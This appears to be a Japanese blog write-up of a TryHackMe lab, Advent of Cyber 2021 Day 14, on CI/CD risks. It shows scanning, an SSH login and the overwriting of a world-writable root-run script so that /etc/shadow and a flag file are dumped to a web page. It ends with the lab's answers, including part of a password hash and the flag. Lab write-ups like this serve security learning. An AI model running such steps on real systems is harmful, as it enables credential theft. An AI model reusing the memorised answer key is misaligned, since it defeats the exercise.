【TryHackMe】Advent of Cyber3 (2021)を続けてみた Day14

# Welcome to Advent of Cyber 2021
クリスマスまでの25日間、毎日基本的な知識を学び、初心者向けの新しいセキュリティ演習を行うことで、サイバーセキュリティを始めることができます。

https://tryhackme.com/room/adventofcyber3

# day14
学習目標
- CI / CDの概念を理解する
- CI / CDに関連するリスクの概要
- CI / CDエクスプロイトベクトルの基本的な理解がある

公開されているファイルを探しにいきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/ba9fa702-4a18-5bec-4248-9af36f4dad7a.png)

```
┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.197.99 -o dirb-log
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
OUTPUT_FILE: dirb-log
START_TIME: Wed Dec 15 01:53:26 2021
URL_BASE: http://10.10.197.99/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://10.10.197.99/ ----
```
```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -vv -sS -Pn -n -A -p- -T4 10.10.197.99 -o nmap-log
...
Discovered open port 80/tcp on 10.10.197.99
Discovered open port 22/tcp on 10.10.197.99
...
```

http://10.10.197.99/admin
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/b21d1cba-c78a-e6ed-235b-de9d0dac351e.png)
`ls.html`を読み込んでます。

ssh接続をします。（mcskidy：Password1）

```
┌──(kali㉿kali)-[~]
└─$ ssh mcskidy@10.10.197.99 -p 22                                                                                                                                  130 ⨯
The authenticity of host '10.10.197.99 (10.10.197.99)' can't be established.
ED25519 key fingerprint is SHA256:9kEyTFIOxOqgfya4ZMo+1VTqJ7nC4zuupBW619K7IZs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.197.99' (ED25519) to the list of known hosts.
mcskidy@10.10.197.99's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1029-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

147 packages can be updated.
99 updates are security updates.


Last login: Thu Nov 11 12:50:44 2021 from 10.9.1.60
mcskidy@ip-10-10-197-99:~$
```
SSH接続できました。ではだれがいるのか見ます。

```
mcskidy@ip-10-10-197-99:/home$ ll
total 24
drwxr-xr-x  6 root      root      4096 Nov 11 08:27 ./
drwxr-xr-x 23 root      root      4096 Dec 14 16:47 ../
drwxr-xr-x  5 mcskidy   mcskidy   4096 Nov 11 08:03 mcskidy/
drwxr-xr-x  2 pepper    pepper    4096 Nov 11 08:27 pepper/
drwxr-xr-x  7 thegrinch thegrinch 4096 Nov 11 19:50 thegrinch/
drwxr-xr-x  5 ubuntu    ubuntu    4096 Nov 11 05:52 ubuntu/
```

`/home/thegrinch/scripts`に何があるか確認します。

```
mcskidy@ip-10-10-197-99:/home/thegrinch/scripts$ ll
total 20
drwxr-xr-x 2 root      root      4096 Nov 11 20:03 ./
drwxr-xr-x 7 thegrinch thegrinch 4096 Nov 11 19:50 ../
-rwx------ 1 root      root       286 Nov 11 20:03 check.sh*
-rwx------ 1 root      root        58 Nov 11 09:00 cleanup.sh*
-rwxrwxrwx 1 root      root        61 Nov 11 19:56 loot.sh*
-rwx------ 1 root      root         0 Nov 11 07:58 test.sh*
```

passwd情報が記載されている/etc/shadowを見れるか確認します。

```
mcskidy@ip-10-10-197-99:~$ less /etc/shadow
/etc/shadow: Permission denied
```

ここで、さきほどの`loot.sh`を確認します。

```
mcskidy@ip-10-10-197-99:/home/thegrinch/scripts$ less loot.sh
#!/bin/bash
ls /home/thegrinch/loot > /var/www/html/ls.html
```
このshファイルを変更して/etc/shadowをみることが可能かやってみます。

```
mcskidy@ip-10-10-197-99:/home/thegrinch/scripts$ cat loot.sh 
#!/bin/bash
cat /etc/shadow > /var/www/html/ls.html
```
Done!!
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/7072378b-7151-ca0a-814d-22eb0f9e9759.png)

/home/thegrinch/Desktopを確認できるか実践。flag,txtを発見。ただし`drwxr-xr-x`

```
mcskidy@ip-10-10-197-99:/home/thegrinch$ ll
total 44
drwxr-xr-x 7 thegrinch thegrinch 4096 Nov 11 19:50 ./
drwxr-xr-x 6 root      root      4096 Nov 11 08:27 ../
-rw------- 1 thegrinch thegrinch   33 Nov 11 07:46 .bash_history
-rw-r--r-- 1 thegrinch thegrinch  220 Nov 11 05:53 .bash_logout
-rw-r--r-- 1 thegrinch thegrinch 3771 Nov 11 05:53 .bashrc
drwx------ 2 thegrinch thegrinch 4096 Nov 11 05:58 .cache/
drwx------ 3 thegrinch thegrinch 4096 Nov 11 05:58 .gnupg/
-rw-r--r-- 1 thegrinch thegrinch  807 Nov 11 05:53 .profile
-rw-r--r-- 1 thegrinch thegrinch    0 Nov 11 05:58 .sudo_as_admin_successful
drwxr-xr-x 2 root      root      4096 Nov 11 19:50 Desktop/
drwxrwxrwx 2 root      root      4096 Nov 11 20:11 loot/
drwxr-xr-x 2 root      root      4096 Nov 11 20:03 scripts/
mcskidy@ip-10-10-197-99:/home/thegrinch$ ls Desktop/
flag.txt
```
よって、catコマンドを上手に使う。

```
mcskidy@ip-10-10-197-99:/home/thegrinch$ cat Desktop/flag.txt 
cat: Desktop/flag.txt: Permission denied
```
他の道筋を考える。

```
mcskidy@ip-10-10-197-99:/home/thegrinch/scripts$ cat loot.sh 
#!/bin/bash
cat /home/thegrinch/Desktop/flag.txt > /var/www/html/ls.html
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2217966/cc679259-920d-61cf-5e50-4ae567bde28a.png)


# Answer
How many pages did the dirb scan find with its default wordlist?
<font color="White">4</font>
How many scripts do you see in the /home/thegrinch/scripts folder?
<font color="White">4</font>
What are the five characters following $6$G in pepper's password hash?
<font color="White">ZUP42</font>
What is the content of the flag.txt file on the Grinch's user’s desktop?
<font color="White">DI3H4rdIsTheBestX-masMovie!</font>